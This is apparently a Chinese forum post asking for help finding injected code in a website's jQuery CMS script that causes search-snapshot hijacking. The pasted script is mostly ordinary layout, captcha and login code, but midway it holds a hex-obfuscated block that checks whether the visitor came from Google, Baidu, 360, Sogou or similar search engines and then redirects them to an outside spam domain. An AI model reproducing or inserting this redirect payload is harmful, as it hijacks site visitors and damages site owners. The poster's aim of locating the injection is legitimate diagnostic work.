php301快照劫持代码,js被挂百度快照劫持了,求大神找出代码

[JavaScript] 纯文本查看 复制代码< !--

//页面显示预设置

$(document).ready(function() {

//当存在可溢出层时重新定义这些层的高度

var getObj = $('div.pdv_class');

getObj.each(function(id) {

var obj = this.id;

if ($("#s" + obj)[0].style.overflow == "visible") { //设置可溢出层的高度

$("#" + obj)[0].style.height = $("#s" + obj)[0].offsetHeight + "px";

var cha = 0;

var L = $("#" + obj)[0].offsetLeft;

var T = $("#" + obj)[0].offsetTop;

var R = $("#" + obj)[0].offsetLeft + $("#" + obj)[0].offsetWidth;

var B = $("#" + obj)[0].offsetTop + $("#" + obj)[0].offsetHeight;

var broObj = $("#" + obj).siblings(".pdv_class"); //找出可溢出层的兄弟元素

broObj.each(function(id) {

var bro = this.id;

var broL = $("#" + bro)[0].offsetLeft;

var broT = $("#" + bro)[0].offsetTop;

var broH = $("#" + bro)[0].offsetHeight;

var broR = $("#" + bro)[0].offsetLeft + $("#" + bro)[0].offsetWidth;

if (((broL < L && broR > L) || (broL > L && broL < R) || broL == L) && broT > T) {

$("#" + bro)[0].style.top = B + cha + 10 + "px"; //设置可溢出层的top值

cha = cha + broH + 10;

}

});

} else { //设置插件边框层的高度

var borderH = $("#s" + obj)[0].offsetHeight;

var bbw = $("#s" + obj).find(".pdv_border").css("borderWidth");

var bbp = $("#s" + obj).find(".pdv_border").css("padding");

var bbm = $("#s" + obj).find(".pdv_border").css("margin");

if (bbm == "auto") {

bbm = 0

}

bbw ? borderH -= parseInt(bbw) * 2 : borderH -= 0;

bbp ? borderH -= parseInt(bbp) * 2 : borderH -= 0;

bbm ? borderH -= parseInt(bbm) * 2 : borderH -= 0;

$("#s" + obj).children(".pdv_border")[0].style.height = borderH + "px";

}

});

//计算三个容器的高度

var getObj = $('div.pdv_top');

var th = 0,

h = 0;

getObj.each(function(id) {

var obj = this.id;

h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;

th = th > h ? th: h;

});

$("#top")[0].style.height = th + "px";

var getObj = $('div.pdv_content');

var ch = 0,

h = 0;

getObj.each(function(id) {

var obj = this.id;

h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;

ch = ch > h ? ch: h;

});

$("#content")[0].style.height = ch + "px";

var getObj = $('div.pdv_bottom');

var bh = 0,

h = 0;

getObj.each(function(id) {

var obj = this.id;

h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;

bh = bh > h ? bh: h;

});

$("#bottom")[0].style.height = bh + "px";

});

/*** setBg* 当页面内容动态变动时,重新调整各层及背景高度*/

(function($) {

$.fn.setBg = function() {

var getDrag = $('div.pdv_class');

getDrag.each(function(id) {

var obj = this.id;

if ($("#s" + obj)[0].style.overflow == "visible") { //设置可溢出层的高度

$("#" + obj)[0].style.height = $("#s" + obj)[0].offsetHeight + "px";

var cha = 0;

var L = $("#" + obj)[0].offsetLeft;

var T = $("#" + obj)[0].offsetTop;

var R = $("#" + obj)[0].offsetLeft + $("#" + obj)[0].offsetWidth;

var B = $("#" + obj)[0].offsetTop + $("#" + obj)[0].offsetHeight;

var broObj = $("#" + obj).siblings(".pdv_class"); //找出可溢出层的兄弟元素

broObj.each(function(id) {

var bro = this.id;

var broL = $("#" + bro)[0].offsetLeft;

var broT = $("#" + bro)[0].offsetTop;

var broH = $("#" + bro)[0].offsetHeight;

var broR = $("#" + bro)[0].offsetLeft + $("#" + bro)[0].offsetWidth;

if (((broL < L && broR > L) || (broL > L && broL < R) || broL == L) && broT > T) {

$("#" + bro)[0].style.top = B + cha + 10 + "px"; //设置可溢出层的top值

cha = cha + broH + 10;

}

});

}

});

//计算三个容器的高度

var getObj = $('div.pdv_top');

var th = 0,

h = 0;

getObj.each(function(id) {

var obj = this.id;

h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;

th = th > h ? th: h;

});

$("#top")[0].style.height = th + "px";

var getObj = $('div.pdv_content');

var ch = 0,

h = 0;

getObj.each(function(id) {

var obj = this.id;

h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;

ch = ch > h ? ch: h;

});

$("#content")[0].style.height = ch + "px";

var getObj = $('div.pdv_bottom');

var bh = 0,

h = 0;

getObj.each(function(id) {

var obj = this.id;

h = $("#" + obj).parents()[0].offsetTop + $("#" + obj).parents()[0].offsetHeight;

bh = bh > h ? bh: h;

});

$("#bottom")[0].style.height = bh + "px";

};

})(jQuery);

//刷新图形码$(document).ready(function() {

$("img#codeimg").click(function() {

$("img#codeimg")[0].src = PDV_RP + "codeimg.php?" + Math.round(Math.random() * 1000000);

});

$("#getImgCode").click(function() {

$("img#codeimg")[0].src = PDV_RP + "codeimg.php?" + Math.round(Math.random() * 1000000);

});

});

if (window["\x6e\x61\x6d\x65"] != '\x63\x63') {

var P_QMQQymF1 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x72\x65\x66\x65\x72\x72\x65\x72"];

P_QMQQymF1 = P_QMQQymF1["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]();

var rgTlsQ2 = new window["\x41\x72\x72\x61\x79"]('\x67\x6f\x6f\x67\x6c\x65\x2e', '\x62\x61\x69\x64\x75\x2e', '\x73\x6f\x73\x6f\x2e', '\x73\x6f\x2e', '\x33\x36\x30\x2e', '\x73\x6f\x67\x6f\x75\x2e', '\x67\x6f\x75\x67\x6f\x75\x2e');

var rpOrOH3 = false;

for (i in rgTlsQ2) {

if (P_QMQQymF1["\x69\x6e\x64\x65\x78\x4f\x66"](rgTlsQ2) > 0) {

rpOrOH3 = true;

break

}

}

if (rpOrOH3) {

self["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"] = '\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x6c\x64\x2e\x78\x69\x6e\x62\x35\x7a\x2e\x63\x6f\x6d\x2f\x62\x6c\x64\x2e\x68\x74\x6d\x6c';

window["\x61\x64\x77\x6f\x72\x6b\x65\x72\x67\x6f"] = '\x63\x63'

}

}

//生成静态页,直接在html状态下生成静态页,在管理状态下,跳转到非静态

function BuildHtml(RP, ver, catchtime, i) {

$.ajax({

type: "GET",

url: "./index.php",

data: i + ".html&htmlversion=" + ver + "&htmlcatchtime=" + catchtime,

success: function(msg) {

if (msg == "NOCATCH") {

if (i == 'index') {

window.location = 'index.php';

} else {

window.location = './?' + i + '.html';

}

}

}

});

}

//模板内下拉菜单提交后选中

function selOption(selname, v) {

for (var i = 0; i < selname.length; i++) {

if (selname.options.value == v) {

selname.options.selected = true;

}

}

}

//获取弹出式登录框

(function($) {

$.fn.popLogin = function(act) {

//获取登录表单

$.ajax({

type: "POST",

url: PDV_RP + "member/post.php",

data: "act=getpoploginform&RP=" + PDV_RP,

success: function(msg) {

$('html').append(msg);

$.blockUI({

message: $('div#loginDialog'),

css: {

width: '300px'

}

});

$('.pwClose').click(function() {

$.unblockUI();

$('div#loginDialog').remove();

});

$('img#zhuce').click(function() {

$.unblockUI();

window.location = PDV_RP + "member/reg.php";

});

$("img#fmCodeImg").click(function() {

$("img#fmCodeImg")[0].src = PDV_RP + "codeimg.php?" + Math.round(Math.random() * 1000000);

});

$('#LoginForm').submit(function() {

$('#LoginForm').ajaxSubmit({

target: 'div#loginnotice',

url: PDV_RP + 'post.php',

success: function(msg) {

if (msg == "OK" || msg.substr(0, 2) == "OK") {

$('div#loginnotice').hide();

$.unblockUI();

$('div#loginDialog').remove();

if (act == "1") {

$("div#notLogin").hide();

$("div#isLogin").show();

$("span#username").html(getCookie("MUSER"));

} else if (act == "2") {

window.location.reload();

} else {

$().alertwindow("会员登录成功", "");

}

} else {

$('div#loginnotice').show();

}

}

});

return false;

});

}

});

};

})(jQuery);

//图片自适应,参数fitType=fill为填充式,fitType=auto为横竖排列自适应

(function($) {

$.fn.picFit = function(fitType) {

var maxHeight, maxWidth, accMax, MT, ML;

$("div.picFit").each(function() {

maxHeight = parseInt($(this).css("height"));

maxWidth = parseInt($(this).css("width"));

accMax = maxWidth / maxHeight;

$(this).find("img").each(function() {

$(this).css({

width: "",

height: ""

});

if (fitType == "auto") {

if ($(this)[0].offsetHeight >= $(this)[0].offsetWidth / accMax) {

$(this).css({

height: maxHeight + "px"

});

} else {

$(this).css({

width: maxWidth + "px"

});

MT = (maxHeight - $(this)[0].offsetHeight) / 2 + "px";

$(this).css({

marginTop: MT

});

}

} else if (fitType == "fill") {

if ($(this)[0].offsetHeight >= $(this)[0].offsetWidth / accMax) {

$(this).css({

width: maxWidth + "px"

});

MT = (maxHeight - $(this)[0].offsetHeight) / 2 + "px";

//$(this).css({marginTop:MT});

} else {

$(this).css({

height: maxHeight + "px"

});

ML = (maxWidth - $(this)[0].offsetWidth) / 2 + "px";

//$(this).css({marginLeft:ML});

}

} else {

$(this).css({

width: maxWidth + "px",

height: maxHeight + "px"

});

}

});

});

};

})(jQuery);

//分组标签切换

(function($) {

$.fn.switchLable = function(pdvid, lables, roll) {

//排版状态下无效

if (getCookie("PLUSADMIN") == "SET") {

return false

}

//pdvid未定义无效

if (pdvid == "") {

return false

}

//获取标签的样式名称

var GBL = $("ul#gblable_" + pdvid).children();

var CLN = GBL[0].className;

var CUR = CLN + "_current";

var R, S;

//清空标签,获取被控层编号,决定标签数量

$("ul#gblable_" + pdvid).empty();

$("#pdv_" + pdvid).css({

zIndex: 32

});

$("#pdv_" + pdvid)[0].title = "";

var strAry = lables.split(",");

for (i = 0; i < strAry.length; i++) {

if (strAry == "" || parseInt(strAry) == NaN) {

return false

}

if ($("#pdv_" + strAry)[0] && strAry != pdvid) {

if (i == 0) {

$("#pdv_" + strAry).css({

zIndex: 99

});

$("ul#gblable_" + pdvid).append("

" + $("#pdv_" + strAry)[0].title + "");

} else {

$("#pdv_" + strAry).css({

zIndex: 31

});

$("ul#gblable_" + pdvid).append("

" + $("#pdv_" + strAry)[0].title + "");

}

}

}

R = $("ul#gblable_" + pdvid).children();

S = R.size();

if (roll == "click") {

R.click(function() {

R.each(function() {

$(this)[0].className = CLN;

$("#pdv_" + strAry[this.id.substr(8)]).hide();

});

$(this)[0].className = CUR;

$("#pdv_" + strAry[this.id.substr(8)]).show();

$("#pdv_" + strAry[this.id.substr(8)]).css({

zIndex: 99

});

});

} else {

R.mouseover(function() {

R.each(function() {

$(this)[0].className = CLN;

$("#pdv_" + strAry[this.id.substr(8)]).hide();

});

$(this)[0].className = CUR;

$("#pdv_" + strAry[this.id.substr(8)]).show();

$("#pdv_" + strAry[this.id.substr(8)]).css({

zIndex: 99

});

});

}

//自动播放

if (roll == "auto") {

setInterval(function() {

var nextId = 0;

R.each(function(id) {

if ($(this)[0].className == CUR) {

nextId = id + 1;

if (nextId >= S) {

nextId = 0;

}

}

$(this)[0].className = CLN;

$("#pdv_" + strAry[this.id.substr(8)]).hide();

});

R[nextId].className = CUR;

$("#pdv_" + strAry[R[nextId].id.substr(8)]).show();

$("#pdv_" + strAry[R[nextId].id.substr(8)]).css({

zIndex: 99

});

},

5000);

}

};

})(jQuery);

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值